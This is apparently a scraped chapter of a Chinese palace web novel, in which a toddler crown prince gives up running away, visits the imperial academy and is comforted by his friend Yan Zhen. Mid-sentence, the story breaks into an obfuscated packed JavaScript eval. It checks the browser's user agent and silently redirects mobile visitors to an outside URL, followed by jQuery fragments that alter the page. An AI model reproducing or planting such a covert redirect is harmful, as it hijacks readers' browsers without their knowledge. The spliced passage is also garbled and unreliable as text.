13. 第十三章

作品:《孤乃父皇亲自生的

    太子殿下这回是真的生气了,让孙福来去给他收拾行李,孙福来魂都要吓没了,趁着殿下没注意,赶紧派人向陛下禀告此事。


    寝殿内,孙福来满脸焦急地劝着:“殿下,您先吃点东西吧——”


    谢徽宁将枕头下的锦囊拿了出来,又抱着自己的龙崽布偶,铁了心要离家出走,沈庭晟和许谨元闻讯也一同赶了过来。


    “这是要做什么?”


    沈庭晟已经从许谨元那知道今日发生之事,听到陛下对太子的惩罚,不免同情,毕竟他自个不喜念书,最是知道其中的痛苦,要让他每日辰时就开始念书,简直就是要他的命,这会儿看到谢徽宁红着眼睛的小模样,跟小可怜似的。


    二人目光一对上,谢徽宁跑过来:“阿晟,呜呜呜。”


    沈庭晟抱住他,还没等他开口哄,就听到太子殿下说:“阿晟,父皇这样对我,我要离家出走,你肯定愿意和我一起。”


    瞬间将沈庭晟那安慰的话堵在嗓子眼了:“……”


    哈?这下是要他的命了!


    “殿下,您要离家出走啊?”沈庭晟瞬间松开谢徽宁,咽了咽口水。


    谢徽宁认真道:“我要离家出走!我才不要早起念书!”


    沈庭晟这回真不敢接他话茬,他再不知天高地厚,也懂此时附和就是撺掇之罪,忙呼唤道:“阿元,阿元你快劝劝殿下。”


    许谨元却说:“殿下既然做了决定,就没什么好劝的了。”


    沈庭晟眼睛都瞪大了,孙福来亦是震惊这话竟是从许谨元口中说出来的,而太子殿下更是被他这话砸得措手不及。


    许谨元不仅不劝,反而说道:“殿下要多带些衣物,还有银子,出门在外不比宫里,吃住都要用到银子。”


    “殿下一个人在外,要多注意安全,京城治安好,可容易被陛下寻到,既是要离家出走,一定要走的远远的,离开京城在小镇住客栈时,夜里听到窗户有动静千万不要管,听说那些猛兽都成了精怪,极是聪明,专门骗人开窗,得以饱餐一顿。”


    谢徽宁想象野兽吃人的画面,吓得直哆嗦:“我才不怕!”


    “……你们不陪我一起吗?”


    许谨元一副为他着想的语气:“我们陪着,殿下就没法出走了,没等到宫门口就被拦住了,殿下既然铁了心要出走,到时可藏在每日东宫出门采购的小车中运到宫外,这样就不会被发现了。”


    “殿下也不用担心我们,我们左不过就是一顿板子,卧床躺个十天半个月养一养,也没什么大不了,陛下总不能摘我们的脑袋吧?”


    孙福来反应过来,忙接腔道:“摘了就摘了,为了殿下,奴才可以不要这条命!殿下您一个人在外,可一定要照顾好自己,夜里凉,您睡觉又爱踢被,奴才不能给您掖被角了,您仔细别着凉了,一个人在外,银子要揣好,可别叫坏人看了去。”


    沈庭晟光长肉不长脑子,和殿下一样被唬住了,越听越觉得可怕:“不行!殿下才这么小,他一个人哪里能照顾好自己,他就这么走了,身边也没人,别人又不知他是太子殿下,被欺负了怎么办?揣再多银子也没用,很容易被抢的!”


    谢徽宁吓得直往他身边靠,沈庭晟抱着他劝:“殿下别出走了,外面多不安全,你连八仙桌高都没有,一个人能走到哪里去啊!”


    谢徽宁虽然横行霸道,可他到底才三岁,被许谨元这么一吓唬,哪里还敢出走,且不说他的出走,也是带够了人,反正不会是自己一个人,正如沈庭晟说的他都还没桌子高!


    “我,我不放心你们,我要走了,父皇肯定生气,气急了,摘你们的脑袋可怎么办?我还是不走了吧。”


    谢徽宁忙将龙崽布偶放回寝床,又将捏着的锦囊也重新塞到枕头下。


    许谨元和孙福来对视了一眼,皆是松了一口气,这个时候自然要给殿下台阶,“殿下您为了我们,实在是委屈自个了。”


    谢徽宁没有搭理,还在想那猛兽敲窗之事,呜呜,也太可怕了。


    孙福来:“殿下饿了吧?快些用膳吧。”


    沈庭晟才是真的饿,牵着谢徽宁的小手:“赶紧用膳吧,我都要饿晕了。”


    膳桌上,谢徽宁一点胃口都没有,平日里还纡尊降贵张嘴吃两口,今日孙福来劝了半天,一口不吃,太子殿下心里委屈,等沈庭晟吃饱后,和他说道:“我们去国子监找严祯。”


    沈庭晟正饭后喝饮子差点呛到:“咳……这个……再过两日世子就进宫了,到时就能见到,也不急这一时吧。”


    谢徽宁:“我现在就想去找他。”


    沈庭晟看向许谨元和孙福来,孙福来也知殿下今日委屈了,罢了,不过又是一顿罚,他都习惯了, “那就去!奴才这就让人备马车。”


    谢徽宁的小脸蛋这才露出笑。


    孙福来又派人去向陛下禀告,这回出宫带了不少人,依旧是他和李重山驾着车,国子监离皇宫不远,马车缓缓行驶了一顿茶的功夫,停在了国子监集贤门外。


    谢徽宁刚从马车上被抱下来,国子监忌酒,司业以及博士们都过来了,在正门按照官职大小列队迎接太子殿下。


    谢徽宁一看这么多人:“……”他只是想过来找严祯的,“免礼。”


    国子监所有官员谢恩后起身,谢徽宁不免疑惑:“你们怎么知道我要来的?”


    国子监祭酒躬身道:“回禀殿下,是宫里派人传信过来,臣等特地再此等候。”


    宫里派人那就是陛下派人了,太子殿下第一次驾临国子监,自是不能马虎,国子监祭酒已经准备好轿子,要载着殿下去辟雍大殿接待。


    谢徽宁对国子监不感兴趣,哪都不想去,他过来就是要找严祯的,让国子监祭酒派人把严祯叫过来,可太子殿下来都来了,国子监全体官员都在候着,都等着殿下观瞻。


    陛下既然派人通知了,可见也是这般想的,孙福来见状哄道:“殿下,您就随祭酒公去国子监看一看吧,世子还未散学,等你观瞻完,再见世子可行?”


    谢徽宁心说怎么这么麻烦,见这么多人等着自己,到底还是不情不愿地前往大殿,也没坐那轿子,由着孙福来抱着,一行人浩浩荡荡抵达大殿,再然后坐到御座旁的小座上,接受他们的跪拜,还象征性地握了一下毛笔。


    这才算完。


    谢徽宁耐心罄尽,小眉毛都要拧起来了,孙福来生怕他在国子监闹脾气,忙说道:“祭酒公,今日就到这吧,殿下也累了,您派人同世子爷说殿下过来找他了。”


    国子监祭酒圆满接待了太子殿下,自是没耽误,派人去请世子过来。


    严祯听到太子过来找他时还愣了一下,以为是听错了,很快反应过来,忙起身往外跑,待看到太子的马车后,这才停下,深吸了一口气平复了一下有些急的呼吸,快步走上前。


    孙福来迎了上去,同他行了礼后,“世子,殿下在马车里等着您呢。”


    严祯踩着脚蹬上了马车,孙福来将车帘撩开,他进去都还没来得及站稳,谢徽宁就窜了过来紧紧抱住他:“严祯!”


    严祯回抱住他,还觉得有些不真实:“殿下怎么过来了?”


    谢徽宁:“我想你,就想着过来看你。”


    二人也不分开,就这么抱在一起,看着有些黏糊,严祯一路跑过来,脸蛋本来就泛着红,听到谢徽宁说想他,耳


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052275|194834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朵也红了,只觉得心里欢喜,他数着日子盼着旬假日进宫,没想到殿下竟然主动过来找他。


    沈庭晟吃着给严祯带的点心,见他俩还不分开,出声提醒道:“也不用一直搂着说话吧?”


    谢徽宁哼了哼:“那是我给严祯带的!”


    沈庭晟:“我吃一块又不打紧,他一个人也吃不完嘛。”


    谢徽宁松开严祯,打量着他,见他气色比之前要好一些,可见他父皇确实有派人给他补身子,这才拉着他的手下,二人肩并肩坐在一起,谢徽宁将食盒中的点心都推到严祯面前,耽搁这么会功夫,点心都快凉了。


    沈庭晟还记得上回说严祯的事,主动示好,“世子快吃吧,凉了就不好吃了,殿下特地给你带的呢。”


    严祯闻言看向他:“你是不是瘦了?”


    沈庭晟美滋滋道:“还是你眼神好,我这两日摸肚子上的肉都少了些,他们都没发现。”


    沈庭晟就是太贪吃了,不过他年龄不大,有心减重,没有吃那么多,再加上每日要习武锻炼,还是有点效果的,其他人和他朝夕相处没注意,毕竟效果也没那么明显,可严祯一眼就看出来变化。


    谢徽宁闻言看向沈庭晟:“瘦了吗?”


    许谨元:“还要再接再厉,点心少吃两块瘦更快。”


    沈庭晟:“……”


    许谨元有心要给世子和太子留空间说小话,于是开口道:“阿晟我有话要和你说。”


    沈庭晟:“什么话?”


    许谨元牵着他的手:“出去说。”


    沈庭晟毫无眼力劲,嘀咕道:“什么话在这不能说——”许谨元把他拉出了马车。


    谢徽宁拿起一块点心放到严祯手里,“严祯,你给我的那个护身符我放在枕头下面了。”


    严祯:“你喜欢就好。”


    谢徽宁:“喜欢,上面绣着麒麟,我送你的也是麒麟!”


    严祯:“嗯。”


    谢徽宁:“我今天很不开心,父皇罚我了,我本来还想离家出走,可是我怕敲窗的猛兽。”


    严祯将点心又放了回去,问道:“我要怎么做才能哄殿下开心?”


    谢徽宁:“你不问我父皇为什么罚我吗?”


    严祯摇摇头:“这是让殿下不开心的事。”


    谢徽宁对这话似懂非懂,还是一股脑把今日发生的事同严祯说了,小表情很是委屈:“父皇还要我以后早起念书。”


    严祯也不知怎么安慰:“殿下想要我做什么?”神色和语气都透着认真,仿佛只要谢徽宁开口,上刀山下油锅他都愿意。


    谢徽宁:“我也不知道,你要自己想嘛。”


    严祯突然说道:“殿下要骑马吗?”


    谢徽宁没反应过来,严祯起身跪在地上双手撑在地上,“殿下坐上来。”


    严祯从前看过他那两个弟弟就是这么骑着下人的,脸上带着笑,很开心的样子,只要能哄谢徽宁开心,他不觉得这有什么。


    谢徽宁惊讶:“严祯,你要给我当小马吗?”


    严祯毫不犹豫地点点头,谢徽宁新鲜地坐到他背上,又害怕掉下去,于是趴在严祯的背上,环着他的脖子。


    严祯背着他到了马车里间,来回两趟,虽然太子殿下不重,可严祯身子也瘦小,鼻尖都出汗了,谢徽宁听到他有些喘的呼吸声,忙从他背上下来,拉他起来。


    严祯:“殿下开心了吗?”


    谢徽宁其实气性也不大,这么一大天过去了,除了还有点委屈,早不生气了,此刻又被严祯这么哄,委屈都没剩多少了,“严祯你真好。”还愿意给他当小马骑。


    严祯:“殿下开心就好。”